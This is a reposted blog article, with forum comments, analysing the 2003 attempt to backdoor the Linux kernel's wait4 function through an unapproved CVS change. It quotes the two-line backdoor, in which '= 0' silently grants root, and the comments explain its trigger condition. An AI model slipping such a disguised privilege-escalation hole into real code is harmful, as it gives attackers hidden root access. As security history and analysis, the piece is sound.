The Linux Backdoor Attempt of 2003

Freedom to Tinker ^ | 9 October 2013 | Ed Felten

[ShadowAce]

Josh wrote recently about a serious security bug that appeared in Debian Linux back in 2006, and whether it was really a backdoor inserted by the NSA. (He concluded that it probably was not.)

Today I want to write about another incident, in 2003, in which someone tried to backdoor the Linux kernel. This one was definitely an attempt to insert a backdoor. But we don’t know who it was that made the attempt—and we probably never will.

Back in 2003 Linux used a system called BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. Every change to the master code would come with a short explanation, which always included a pointer to the record of its approval.

But some people didn’t like BitKeeper, so a second copy of the source code was kept so that developers could get the code via another code system called CVS. The CVS copy of the code was a direct clone of the primary BitKeeper copy.

But on Nov. 5, 2003, Larry McVoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in (electronically) to the CVS server and inserted this change.

What did the change do? This is where it gets really interesting. The change modified the code of a Linux function called wait4, which a program could use to wait for something to happen. Specifically, it added these two lines of code:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

[Exercise for readers who know the C programming language: What is unusual about this code? Answer appears below.]

A casual reading by an expert would interpret this as innocuous error-checking code to make wait4 return an error code when wait4 was called in a certain way that was forbidden by the documentation. But a really careful expert reader would notice that, near the end of the first line, it said “= 0” rather than “== 0”. The normal thing to write in code like this is “== 0”, which tests whether the user ID of the currently running code (current->uid) is equal to zero, without modifying the user ID. But what actually appears is “= 0”, which has the effect of setting the user ID to zero.

Setting the user ID to zero is a problem because user ID number zero is the “root” user, which is allowed to do absolutely anything it wants—to access all data, change the behavior of all code, and to compromise entirely the security of all parts of the system. So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words … it’s a classic backdoor.

This is a very clever piece of work. It looks like innocuous error checking, but it’s really a back door. And it was slipped into the code outside the normal approval process, to avoid any possibility that the approval process would notice what was up.

But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. Score one for Linux.

Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack. Unless somebody confesses, or a smoking-gun document turns up, we’ll never know.

[rarestia]

Many programming languages have since changed Boolean and equality checks to utilize linguistic code in addition to old-school code.

A good example is Microsoft’s Powershell or VBscript where one can use equality identifiers such as “-eq” or “-lt/-gt” (less-than/greater-than) in addition to the conventional syntax.

I’ve taken a liking to -eq or even -like for a more loose check.

This article, by the way, continues to bolster the open source movement as a much better, safer alternative to closed-source operating systems like Windows and OSX. Huzzah for community acceptance!

[zeugma]

The PRC, Russia, NSA, a private group of would be hackers etc. Lots of suspects here.

Isn't it sad that we have to lump the NSA in with the other nefarious types?

It has not been "our" government for a long time.

[sten]

an interesting secondary check would be to look for any code out there that would make the call with both of those options set. see if something was checked in somewhere... and maybe follow from there

[2 Kool 2 Be 4-Gotten]

I think this is a system call so the call would likely come from user land so it’s not like you could just scan the kernel code base - I wonder if it’s simply something that could be called from any arbitrary userland program which effectively means there’s no fixed code base to scan. Assuming this is in the code that handles the system calls from userland.

[2 Kool 2 Be 4-Gotten]

Well, OK, but this is from kernel code and last time I checked there as no Powershell or VBScript in the linux kernel nor do I expect that to happen any time soon :)

[lbryce]

Certainly in 2013 Obama would ‘back door’ any opportunity he can.

[cynwoody]

Whether this itself makes sense (i.e. to only take the conditional if both flags are set) or it this would tend to be something with some more devious intent - I don’t have enough knowledge to say.

C short-circuit evaluates conditionals. That means, if the first term of an ANDed pair of terms is false, the second term is never evaluated.

So, in this case, the term (options == (__WCLONE|__WALL) is acting as an "open sesame" incantation. You have to know about it in order to open the backdoor. Unless the options check evaluates to true, the (current->uid = 0) is simply skipped. If the options check does evaluate true, then the uid gets set to zero (root), and the number zero is evaluated as a boolean, resulting in a value of false. Thus, in neither case does retval = -EINAL; take place.

[2 Kool 2 Be 4-Gotten]

True enough. However, I didn’t mean to imply anything different.

My point wasn’t the contrary of what you are saying. My point was more along the lines of not knowing if the case of having both flags being true was a “real case” that comes up in daily life or instead was basically a “open sesame” case stuck in for malicious intent.

[rarestia]

Agreed. I was speaking to wider languages. I don’t expect kernel code to ever be modified.